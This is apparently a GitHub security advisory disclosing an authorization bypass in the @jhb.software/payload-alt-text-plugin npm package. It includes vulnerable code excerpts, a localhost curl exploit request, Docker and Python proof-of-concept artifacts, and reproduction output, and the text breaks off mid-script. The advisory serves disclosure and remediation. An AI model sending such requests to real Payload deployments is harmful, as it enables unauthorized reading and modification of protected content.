GitHub Advisoryadvisory · npm

GHSA-4qpv-39hg-f7fx @jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission

HIGH Published 2026-09-10 Modified 2026-09-16 Official page ↗
Aliases
CVE-2026-59965
Ecosystem
npm
Packages
@jhb.software/payload-alt-text-plugin
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
Weaknesses
CWE-863
Reviewed
2026-09-10

Affected packages

• npm @jhb.software/payload-alt-text-plugin: < 0.8.0 → fixed in 0.8.0

Description

Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission Summary `@jhb.software/payload-alt-text-plugin` v0.7.0 exposes custom Payload CMS endpoints (`POST /api/alt-text-plugin/generate` and `/bulk`) that call the Payload Local API (`findByID` and `update`) without setting `overrideAccess: false`. Because Payload's internal logic evaluates `shouldOverrideAccess = overrideAccess !== false`, omitting the parameter causes it to default to `true`, silently bypassing all collection-level access control functions. Any authenticated user — regardless of role — can read and overwrite the `alt` and `keywords` fields of arbitrary upload documents that would otherwise be protected by restrictive collection access rules. The vulnerability is rated High (CVSS 7.1). Details The plugin registers two network endpoints in `alt-text/src/plugin.ts:179-186`. Their default access guard (`plugin.ts:55`) only checks `!!req.user`, meaning any authenticated session satisfies the check regardless of the role required by the underlying collection. The endpoint handler at `alt-text/src/endpoints/generateAltText.ts` accepts user-controlled `id`, `collection`, `locale`, and `update` fields from the request body (`line 29`), then passes them directly to two unsecured Local API calls: Read bypass (`generateAltText.ts:31`): ```typescript const imageDoc = await req.payload.findByID({ id, collection, depth: 0, // overrideAccess: false is absent → defaults to true }) ``` Write bypass (`generateAltText.ts:121`): ```typescript await req.payload.update({ id, collection, data: { alt: result.result.altText, keywords: result.result.keywords, }, locale: targetLocale, // overrideAccess: false is absent → defaults to true }) ``` The bulk endpoint (`alt-text/src/endpoints/bulkGenerateAltTexts.ts`) repeats the same pattern at lines `120` (read) and `170` (write). Payload's internal resolution of `overrideAccess` is: ``` shouldOverrideAccess = overrideAccess !== false // undefined !== false → true → collection access function is never called ``` Because the collection-level `read` and `update` access functions are never invoked, any attacker with a valid session can target documents in any upload collection, regardless of how that collection's access is configured. PoC Environment setup: 1. Clone the repository and install `@jhb.software/[email protected]` into a Payload v3 project. 2. Configure an upload collection named `media` with `read` and `update` access restricted to users with `role: "admin"`. 3. Configure the plugin with `collections: ["media"]` and a resolver that returns `{ success: true, result: { altText: "PWNED_BY_EXPLOIT", keywords: ["hacked", "bypass"] } }`. 4. As an admin, create a media document (e.g., ID `doc-001`) with `alt = "original safe alt text"`. 5. Obtain a session token for a non-admin user (`role: "user"`). Build and run the dynamic PoC (Docker): ```bash Build docker build -t vuln001-poc -f vuln-001/Dockerfile . Run docker run --rm vuln001-poc ``` Exploit request: ```bash curl -i -b "payload-token=" \ -H "Content-Type: application/json" \ -X POST http://localhost:3000/api/alt-text-plugin/generate \ --data '{"collection":"media","id":"doc-001","locale":"en","update":true}' ``` Expected result: • HTTP 200 is returned. • The response body contains `"altText": "PWNED_BY_EXPLOIT"`. • A subsequent admin read of `media/doc-001` confirms `alt = "PWNED_BY_EXPLOIT"` and `keywords = ["hacked", "bypass"]`, despite the collection's update access being restricted to admins. Control verification (confirms the bypass is real, not a misconfiguration): A direct Local API call with `overrideAccess: false` by the same non-admin user throws `AccessError: update denied for collection "media" (user role: user)`, proving that the access rule is correct and the plugin endpoint is the vector. Dynamic reproduction output (Phase 2 confirmed): ``` VULN-001: Alt Text endpoint authorization bypass Payload Local API overrideAccess omission in generateAltText.ts:31 and :121 [Step 1] Control: non-admin direct update with overrideAccess:false PASS: access correctly denied → AccessError [Step 3] EXPLOIT: non-admin calls POST /api/alt-text-plugin/generate HTTP status : 200 Response : {"id":"doc-001","collection":"media","altText":"PWNED_BY_EXPLOIT","keywords":["hacked","bypass"]} VULNERABILITY CONFIRMED — EXPLOITATION SUCCESSFUL ``` Impact This is an Incorrect Authorization vulnerability (CWE-863). The plugin's endpoints act as an authorization bypass tunnel into Payload's Local API. Any authenticated user — a subscriber, editor, or any low-privilege role — can: 1. Read the content of arbitrary upload documents that collection access rules would otherwise deny them. 2. Overwrite the `alt` text and `keywords` fields on those documents, effectively performing unauthorized content modification. Operators who restrict upload collection access by role (a common production pattern) are fully impacted. Attackers do not need admin credentials; any valid session suffices. The vulnerability is exploitable on all default deployments where the plugin is enabled, with no special configuration required on the attacker's side. Reproduction artifacts `Dockerfile` ```dockerfile Dockerfile for VULN-001 dynamic reproduction Build context: the parent directory that contains both repo/ (jhb-software/payload-plugins clone) vuln-001/ (this workspace) Build: docker build -t vuln001-poc -f vuln-001/Dockerfile . Run: docker run --rm vuln001-poc FROM node:22-slim WORKDIR /app ---- Copy plugin source files required by the PoC ---- Only the endpoint under test and its direct dependencies are needed. No Payload framework install required: we mock it in the PoC. COPY repo/alt-text/src/endpoints/generateAltText.ts ./plugin/src/endpoints/generateAltText.ts COPY repo/alt-text/src/endpoints/schemas.ts ./plugin/src/endpoints/schemas.ts COPY repo/alt-text/src/utilities/mimeTypes.ts ./plugin/src/utilities/mimeTypes.ts COPY repo/alt-text/src/types/AltTextPluginConfig.ts ./plugin/src/types/AltTextPluginConfig.ts COPY repo/alt-text/src/resolvers/types.ts ./plugin/src/resolvers/types.ts ---- Copy PoC files ---- COPY vuln-001/package_inner.json ./package.json COPY vuln-001/inner_poc.ts ./inner_poc.ts ---- Install minimal runtime dependencies ---- zod: schema validation used by the endpoint handler tsx: TypeScript executor that handles .js→.ts extension mapping RUN npm install --no-audit --no-fund ---- Run the PoC ---- CMD ["node_modules/.bin/tsx", "inner_poc.ts"] ``` `poc.py` ```python !/usr/bin/env python3 """ poc.py — VULN-001 Dynamic Reproduction Orchestrator Vulnerability: @jhb.software/payload-alt-text-plugin v0.7.0 Title: Alt Text endpoint authorization bypass via Payload Local API overrideAccess omission CWE: CWE-863 (Incorrect Authorization) This script: 1. Builds a Docker image containing the real plugin endpoint source. 2. Runs the container, which calls the endpoint handler with a non-admin user. 3. Captures stdout/stderr as evidence. 4. Writes the result to phase2_result.json. Usage: python3 poc.py Safety: • All traffic stays on 127.0.0.1 / localhost inside Docker. • No external services are contacted. • No live credentials are used. """ import json import os import subprocess import sys --------------------------------------------------------------------------- Paths --------------------------------------------------------------------------- THIS_DIR = os.path.dirname(os.path.abspath(__file__)) Build context: parent directory that contains both repo/ and vuln-001/ BUILD_CONTEXT = os.path.dirname(THIS_DIR) DOCKERFILE = os.path.join(THIS_DIR, "Dockerfile") IMAGE_TAG = "vuln001-poc" RESULT_FILE = os.path.join(THIS_DIR, "phase2_result.json") BUILD_COMMAND = f"docker …

Related

Alias · CVE (1)

  • CVE-2026-59965 Payload Plugins is a collection of plugins designed to enhance Payload CMS. vulnerability

Weakness · CWE (1)

  • CWE-863 Incorrect Authorization weakness

References